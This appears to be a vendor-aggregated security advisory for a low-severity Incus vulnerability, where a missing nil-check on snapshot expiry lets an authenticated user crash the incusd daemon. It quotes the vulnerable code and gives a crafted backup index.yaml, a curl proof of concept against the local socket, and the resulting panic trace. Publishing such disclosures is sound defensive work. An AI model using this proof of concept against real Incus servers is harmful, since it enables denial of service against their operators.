Skip to main content

Boteraser | Website and Server Security Solutions

🛡️ CVE-2026-48756 — incus

🟢 CVSS 2.0 — Low ✅ No Known Exploit OSV
2.0
CVSS Score
0 Low4 Medium7 High9 Critical10

Description

Incus: CreateCustomVolumeFromBackup nil-pointer dereference on volume_snapshots[*].expires_at (sibling-field variant of GHSA-r7w7)

Summary

(*backend).CreateCustomVolumeFromBackup in [internal/server/storage/backend.go](https://github.com/lxc/incus/blob/985a1dedf9f3e7ba729c93b654905ed510de25c2/internal/server/storage/backend.go) contains an unguarded *time.Time dereference on the ExpiresAt field of every volume-snapshot entry in an imported custom-volume backup. An authenticated user with can_create_storage_volumes permission on any project can crash the incusd daemon by uploading a backup tarball whose volume_snapshots[*].expires_at field is absent.

This is a sibling-field variant of GHSA-r7w7-mmxr-47r9 (CVE-2026-40197). Commit 985a1dedf9f3e7ba729c93b654905ed510de25c2 added if s == nil at the top of the loop body, but did not guard the adjacent *snapshot.ExpiresAt deref 19 lines later. Every other consumer of Config.VolumeSnapshots[i].ExpiresAt in this same file already gates the deref with a nil-check — the asymmetric guard is the bug.

Vulnerable code

[internal/server/storage/backend.go](https://github.com/lxc/incus/blob/985a1dedf9f3e7ba729c93b654905ed510de25c2/internal/server/storage/backend.go), CreateCustomVolumeFromBackup:

```go

// Line 7710-7714 — the parent fix from GHSA-r7w7

for _, s := range srcBackup.Config.VolumeSnapshots {

if s == nil {

return errors.New("Bad snapshot definition found in index")

}

snapshot := s

snapName := snapshot.Name

// ...

// Line 7731 — UNGUARDED *time.Time deref:

err = VolumeDBCreate(b, srcBackup.Project, fullSnapName, snapshot.Description,

snapVol.Type(), true, snapVol.Config(), snapshot.CreatedAt,

*snapshot.ExpiresAt, // <-- panics when expires_at omitted in YAML

snapVol.ContentType(), true, true)

```

ExpiresAt is declared *time.Time (shared/api/storage_pool_volume_snapshot.go:21,88). Every other consumer in the same file already uses the safe pattern:

| Line | Code | Guarded? |

|------|------|----------|

| 909-910 | CreateInstanceFromBackup | YES |

| 1134-1135 | refresh path | YES |

| 1422-1423 | migration path | YES |

| 7731 | CreateCustomVolumeFromBackup | NO |

Reach

1. Attacker is an authenticated client (TLS cert, OIDC, or unix socket) with the can_create_storage_volumes entitlement on any project. Same auth gate as parent GHSA-r7w7.

2. POST /1.0/storage-pools/<pool>/volumes/custom with Content-Type: application/octet-stream and X-Incus-name: <name>.

3. Body is a tar containing [backup/index.yaml](https://github.com/lxc/incus/blob/985a1dedf9f3e7ba729c93b654905ed510de25c2/backup/index.yaml) with type: custom, a non-nil volume: block, and volume_snapshots: [{name: snap0}] (no expires_at field).

4. cmd/incusd/storage_volumes.go:storagePoolVolumesPost -> backup.GetInfo parses the yaml -> pool.CreateCustomVolumeFromBackup -> the s == nil guard at 7712 passes (snapshot pointer is non-nil) -> *snapshot.ExpiresAt on line 7731 panics on the nil *time.Time.

5. No recover() is installed in the operation runner, so the panic kills the entire incusd process. Repeated POSTs are a persistent denial of service.

Minimal [backup/index.yaml](https://github.com/lxc/incus/blob/985a1dedf9f3e7ba729c93b654905ed510de25c2/backup/index.yaml):

```yaml

name: poc-vol

backend: dir

pool: default

type: custom

optimized: false

optimized_header: false

snapshots: [snap0]

config:

volume: {name: poc-vol, type: custom, content_type: filesystem, config: {}}

volume_snapshots:

  • name: snap0

description: snap0

config: {}

# expires_at intentionally omitted

```

Proof of concept (end-to-end against running daemon)

Bundled in the report: make_backup.sh + the resulting 479-byte poc-vol.tar.gz.

Tested against incus 7.0.0 (zabbly latest GA at time of report; build 1:0~ubuntu24.04~202605201355) inside a privileged Ubuntu 24.04 container with the default dir storage pool.

```bash

$ curl -s --unix-socket /var/lib/incus/unix.socket -X POST \

--data-binary @/tmp/poc-vol.tar.gz \

-H 'Content-Type: application/octet-stream' \

-H 'X-Incus-name: poc-vol' \

http://incus/1.0/storage-pools/default/volumes/custom

{"type":"async","status":"Operation created","status_code":100,...}

$ ps -ef | grep incusd | grep -v grep # process is GONE

```

Daemon panic from /tmp/incus.out:

```

panic: runtime error: invalid memory address or nil pointer dereference

[signal SIGSEGV: segmentation violation code=0x1 addr=0x0 pc=0x162b938]

goroutine 422 [running]:

github.com/lxc/incus/v7/internal/server/storage.(*backend).CreateCustomVolumeFromBackup(...)

/build/incus/internal/server/storage/backend.go:7731 +0xb48

main.createStoragePoolVolumeFromBackup.func7(...)

/build/incus/cmd/incusd/storage_volumes.go:2915 +0x290

github.com/lxc/incus/v7/internal/server/operations.(*Operation).Start.func1(...)

/build/incu

Affected software

CVE-2026-48756 is recorded against 4 packages.

  • github.com/lxc/incus
  • github.com/lxc/incus/v6
  • github.com/lxc/incus/v7
  • github.com/lxc/incus/v7/cmd/incusd

Timeline and source

Published on 7 July 2026. No public exploit is currently recorded for this entry. Record sourced from OSV.

References

github.com (Advisory)

Other advisories for this package

github.com/lxc/incus has other advisories on record. If you are patching this one, these are worth checking on the same host:

CVE-2026-48756 on other distributions

Each distribution ships its own build and its own fixed version. Pick the one you run:

Details

Severity Low
CVSS Score 2.0
CVSS Vector N/A
CWE N/A
Public Exploit ✅ No
Source OSV
Published 2026-07-07
Updated 2026-08-20
Modified 2026-07-07
Fix URL N/A

Affected Packages

Software From version Fixed in
github.com/lxc/incus
github.com/lxc/incus/v6
github.com/lxc/incus/v7
github.com/lxc/incus/v7/cmd/incusd

Similar Threats

Free Vulnerability Check

Is your site affected by CVE-2026-48756?

BotEraser helps you identify potentially vulnerable plugins and themes by checking your installation against CVE-2026-48756 and other known CVE records.

Scan My Site Free →

No credit card required  ·  Results in minutes

ⓘ Data Notice: The information presented above has been compiled from publicly available internet sources. Boteraser aggregates this data solely for informational purposes and does not independently classify, evaluate, or endorse any findings about the vulnerabilities listed. The accuracy and completeness of this information is the sole responsibility of the original publishers. Boteraser and its operators accept no liability for any decisions made based on this data.

Browse related advisories

All advisoriesCVECVE 2026